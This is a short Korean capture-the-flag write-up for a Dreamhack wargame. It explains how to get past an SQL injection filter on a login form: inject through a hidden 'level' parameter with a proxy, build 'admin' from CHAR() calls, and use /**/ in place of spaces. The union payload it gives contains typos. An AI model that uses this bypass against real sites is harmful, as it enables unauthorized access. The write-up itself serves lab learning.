https://dreamhack.io/wargame/challenges/1
본 문제의 코드를 살펴보자.
post로 uid, upw, level를 받고, sqli filter 로 필터링 하고있다.
그렇다면 사이트에 접속해보자.
사이트에는 uid, upw만 입력이 가능하다.
uid, upw로 공격하기에는 ' 를 필터링 하기때문에 '이 없는 level로 공격하는게 좋아보인다.
그런데 사이트상에는 level로 요청을 줄수 없기 때문에 프록시를 사용하여
level를 끼워 넣는다.
그렇다면 이제 admin을 요청해야 한다. 그런데 admin은 필터링 되어있기 때문에 CHAR
로 우회할 생각이다.
Char(97) a
Char(98) b
Char(99) c
Char(100) d
Char(101) e
Char(102) f
Char(103) g
Char(104) h
Char(105) i
Char(106) j
Char(107) k
Char(108) l
Char(109) m
Char(110) n
Char(111) o
Char(112) p
Char(113) q
Char(114) r
Char(115) s
Char(116) t
Char(117) u
Char(118) v
Char(119) w
Char(120) x
Char(121) y
Char(122) z
해당 char를 토대로 쿼리문을 작성해보면
/**/union/**/vlaues(char97)||char(100)||char(109)||char(105)||char(110))
로 할수있다. /**/
를 공백 대신 사용하였다.
위 쿼리문을 프록시를 이용하여 요청보내면 flag 값이 반환된다.